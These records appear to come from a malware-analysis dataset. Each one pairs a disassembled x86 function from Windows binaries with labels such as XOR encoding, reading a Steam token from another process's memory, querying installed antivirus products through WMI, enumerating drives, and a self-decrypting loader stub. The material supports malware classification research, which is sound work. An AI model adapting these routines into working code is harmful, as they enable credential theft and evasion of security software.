joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4020b1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 0x10]
lea eax, [esi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
and dword [ebp - 4], 0
mov ecx, eax
mov dword [ebp - 8], ecx
mov byte [ecx + esi], 0
test esi, esi
je 0x40214c
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
sub eax, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0xc], eax
push 0x422178
call esi
push 0x4221e8
call esi
push 0x422278
call esi
mov ebx, dword [ebp - 4]
push dword [ebp + 0xc]
add ebx, dword [ebp - 8]
call sub.msvcrt.dll_strlen
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [esp], 0x4222f0
mov al, byte [edx + eax]
xor al, byte [ecx + ebx]
mov byte [ebx], al
call edi
push 0x4223d0
call edi
push str.Sorted_for_Films__Vids_is_a_compilation_of_promotional_videos_by_the_band_Pulp__released_on_VHS_in_1995.
call edi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x4020ee
pop edi
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x4051e8
Capabilities:
Check http status code

Disassembly:
mov eax, 0x41cbb7
call sub.msvcrt.dll__EH_prolog
sub esp, 0x978
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 4], 2
call fcn.0040e39f
lea eax, [ebp - 0xb4]
push eax
call fcn.00403f31
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
push 0x42276e
lea ecx, [ebp - 0x30]
call fcn.0040e368
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 3
call fcn.0040e59f
push eax
call dword [0xb3a3e0]
push dword [0xb296b8]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x74]
xor esi, esi
call dword [0xb3a4bc]
test eax, eax
jne 0x40526f
inc esi
cmp dword [ebp - 0x10], ebx
je 0x4053b3
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x60]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call dword [0xb3a4e0]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x4053aa
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0xb29508]
push dword [ebp - 0x4c]
push 0x42289c
push dword [ebp - 0x1c]
call dword [0xb3a514]
mov edi, eax
cmp edi, ebx
je 0x4053a1
cmp esi, ebx
je 0x4052e7
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0xb3a2e8]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0xb3a4a8]
push ebx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1b4]
push eax
push 0x13
push edi
mov dword [ebp - 0x18], 0x100
call dword [0xb3a52c]
test eax, eax
jne 0x405326
mov ecx, dword [ebp + 8]
push 0x4228a0
call fcn.0040e368
jmp 0x4053bf
lea eax, [ebp - 0x1b4]
push eax
call fcn.0040f572
pop ecx
cmp eax, 0xc8
jne 0x4053fb
cmp esi, ebx
je 0x40539a
mov esi, 0x7cf
jmp 0x405383
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x40539a
mov byte [ebp + eax - 0x984], bl
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040e4e1
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.0040e426
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 3
call fcn.0040e3d3
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp - 0x984]
push eax
push edi
call dword [0xb3a408]
cmp eax, ebx
jne 0x405349
push edi
call dword [0xb3a3dc]
push dword [ebp - 0x1c]
call dword [0xb3a3dc]
push dword [ebp - 0x10]
call dword [0xb3a3dc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.0040e39f
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], 2
call fcn.0040e3d3
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040e3d3
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], bl
call fcn.0040e3d3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
push 0x4228a8
call fcn.0040e368
jmp 0x4053bf
Function at 0x405c73
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x405c91
xor eax, eax
inc eax
jmp 0x405d23
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x405d20
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x405d20
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x405c89
cmp dword [edi], 0x4550
jne 0x405d20
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x405d20
movzx eax, word [esi + 0x46]
test ax, ax
je 0x405d20
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040f5f6
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x405cf7
push 3
jmp 0x405d22
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x405d23
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x406309
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x406343
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x406343
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x406343
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.0040626d
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40e0ed
Capabilities:
Get steam token

Disassembly:
mov eax, 0x41e0d4
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
xor ebx, ebx
push 0x64000
mov dword [ebp - 0x18], ebx
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x40e157
mov ecx, dword [ebp + 8]
push 0x422e13
call fcn.0040dfaa
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, dword [ebp + 8]
jmp 0x40e2de
push esi
push edi
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040da03
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e1b8
jmp 0x40e27b
cmp edx, ebx
ja 0x40e1b8
cmp eax, 0xffff
jbe 0x40e1cb
push ebx
push esi
lea ecx, [ebp - 0x260]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x260]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040df0f
cmp dword [ebp - 0x2c], 0x12c
jbe 0x40e221
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040e058
pop ecx
pop ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x48], ebx
je 0x40e213
cmp dword [ebp - 0x48], 0xa
ja 0x40e2aa
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call fcn.0040dc59
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x1c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040da03
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0x18], edi
mov edi, ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e1b8
jb 0x40e283
cmp eax, ebx
ja 0x40e1ad
push dword [ebp - 0x10]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x422e14
call fcn.0040dfaa
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, dword [ebp + 8]
jmp 0x40e2dc
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x3c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040e007
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.0040dc59
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40f2bb
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e230
call sub.msvcrt.dll__EH_prolog
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4239e4
push 1
push esi
push 0x423ab4
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f427
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x423028
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f420
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f437
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f437
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x48]
push edx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.0040f221
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0xb3a4e4]
push eax
call dword [0xb3a47c]
mov esi, eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x32]
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0xb3a30c]
mov ecx, dword [ebp + 8]
add esp, 0x20
push esi
call fcn.0040e368
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f434
push 0x42305c
jmp 0x40f42c
push 0x423064
mov ecx, dword [ebp + 8]
call fcn.0040e368
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40f444
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e242
call sub.msvcrt.dll__EH_prolog
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4239e4
push 1
push esi
push 0x423ab4
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f54c
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x4230d8
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f545
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f55c
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f55c
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x30]
push edx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push dword [ebp - 0x28]
call fcn.0040f788
pop ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040e368
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f559
push 0x4230f8
jmp 0x40f551
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e368
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x411029
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x41e44c
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e39f
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e39f
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.0040e39f
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.0040e39f
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4126b6
Capabilities:
Create thread

Disassembly:
mov eax, 0x41e8cf
call sub.msvcrt.dll__EH_prolog
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 2
call fcn.004116e0
test byte [0xb3a2a8], 1
mov eax, dword [ebp + 0x24]
mov byte [ebp - 4], 3
je 0x4126ec
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e426
mov eax, dword [ebp + 0x68]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x6c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040e426
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040e426
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e426
mov esi, 0x3e8
jmp 0x41273f
push esi
call dword [0xb3a324]
cmp dword [0xb3a2a8], 2
jae 0x412738
inc dword [0xb3a2a8]
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push 0x4115a6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x423216
call fcn.0040e368
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 2
call fcn.0041172c
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040113a
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], bl
call fcn.0040e3d3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x413a8c
Capabilities:
Get disk information

Disassembly:
mov eax, 0x41ec43
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
xor esi, esi
push eax
inc esi
push 0x42342c
lea ecx, [ebp + 0x70]
mov dword [ebp - 4], esi
call fcn.0040e59f
push eax
call sub.msvcrt.dll_strtok_s
add esp, 0xc
xor ebx, ebx
push ebx
push 0x423430
lea ecx, [ebp + 0x64]
mov dword [ebp - 0x10], eax
xor edi, edi
mov dword [ebp - 0x14], ebx
call fcn.0040e59f
push eax
call dword [0xb3a418]
test eax, eax
je 0x413ae4
mov edi, esi
push ebx
push 0x423440
lea ecx, [ebp + 0x64]
call fcn.0040e59f
push eax
call dword [0xb3a418]
test eax, eax
je 0x413b02
mov edi, esi
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x10]
jmp 0x413c81
cmp edi, ebx
je 0x413c14
lea eax, [ebp - 0x80]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x80]
cmp byte [ebp - 0x80], bl
je 0x413c6c
push 0x3e8
lea eax, [ebp - 0x468]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x14], ebx
je 0x413b6e
cmp eax, 2
jne 0x413b6e
lea ecx, [ebp + 0x64]
call fcn.0040e59f
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0xb3a528]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x413b8a
lea ecx, [ebp + 0x64]
call fcn.0040e59f
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0xb3a528]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x468]
push eax
call fcn.0040f9b4
add esp, 0xc
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0xb3a528]
push ebx
push dword [ebp + 0x88]
lea eax, [ebp - 0x468]
push edi
push dword [ebp + 0x84]
lea ecx, [ebp + 0x58]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push dword [ebp - 0x10]
push eax
call fcn.0040e59f
push eax
push 0x4231df
lea ecx, [ebp + 0x8c]
call fcn.0040e59f
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.004136ba
add esp, 0x80
push esi
call dword [0xb3a3a0]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x413b2a
jmp 0x413c6c
push ebx
push dword [ebp + 0x88]
lea ecx, [ebp + 0x64]
push ebx
push dword [ebp + 0x84]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push eax
call fcn.0040e59f
push eax
lea ecx, [ebp + 0x58]
call fcn.0040e59f
push eax
push 0x4231e2
lea ecx, [ebp + 0x8c]
call fcn.0040e59f
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.004136ba
add esp, 0x80
lea eax, [ebp - 0x18]
push eax
push 0x423478
push ebx
call sub.msvcrt.dll_strtok_s
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x413b0a
push 4
lea eax, [ebp - 0x10]
push eax
call fcn.0040f58f
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0040113a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x58]
call fcn.00410fd9
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x418847
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x928520]
jne 0x418851
repz ret
jmp fcn.0041b53f
Function at 0x41bd16
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x928520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041816a
and dword [ebp - 0x14], 0
cmp dword [0xb3b0fc], 0
mov dword [ebp - 0x18], eax
jne 0x41bdc9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41be71
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41be71
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0xb3b0fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0xb3b100], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0xb3b104], eax
call edi
push eax
call esi
mov dword [0xb3b10c], eax
test eax, eax
je 0x41bdc9
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0xb3b108], eax
mov eax, dword [0xb3b108]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41be22
cmp dword [0xb3b10c], ecx
je 0x41be22
push eax
call esi
push dword [0xb3b10c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41be22
test ebx, ebx
je 0x41be22
call edi
test eax, eax
je 0x41be19
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41be19
test byte [ebp - 8], 1
jne 0x41be22
or dword [ebp + 0x10], 0x200000
jmp 0x41be55
mov eax, dword [0xb3b100]
cmp eax, dword [ebp - 0x18]
je 0x41be55
push eax
call esi
test eax, eax
je 0x41be55
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41be55
mov eax, dword [0xb3b104]
cmp eax, dword [ebp - 0x18]
je 0x41be55
push eax
call esi
test eax, eax
je 0x41be55
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0xb3b0fc]
call esi
test eax, eax
je 0x41be71
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41be73
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418847
leave
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000cd63
pop dword [ebp - 0x2c]
mov eax, 0xfacc8c23
sub eax, 0xeacbbec0
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x36b57
push 0
mov eax, 0x7d7f421
add eax, 0x8294c43
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x3ecc
mov ebx, eax
mov esi, 0xcd5ab7f2
sub esi, 0xbd5931f2
add esi, dword [ebp - 0x2c]
mov edx, 0x3ea3ca18
sub edx, 0xa455c77a
sub dword [ebp - 0x20], 0x36bc19
mov edi, dword [esi]
sub edi, edx
add dword [ebp - 0x14], edx
mov dword [ebx], edi
xor dword [ebp - 0x1c], ecx
add ebx, 0xc0c43d32
sub ebx, 0xc0c43d2e
add esi, 4
loop 0x1000cdbc
add eax, 0x93ff1bdc
sub eax, 0x93fe2dd9
xor ebx, ebx
add ebx, eax
add eax, 0x54fefa73
add eax, 0xab010592
mov ecx, 0xee3c1e33
add ecx, 0x21c3e1cd
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret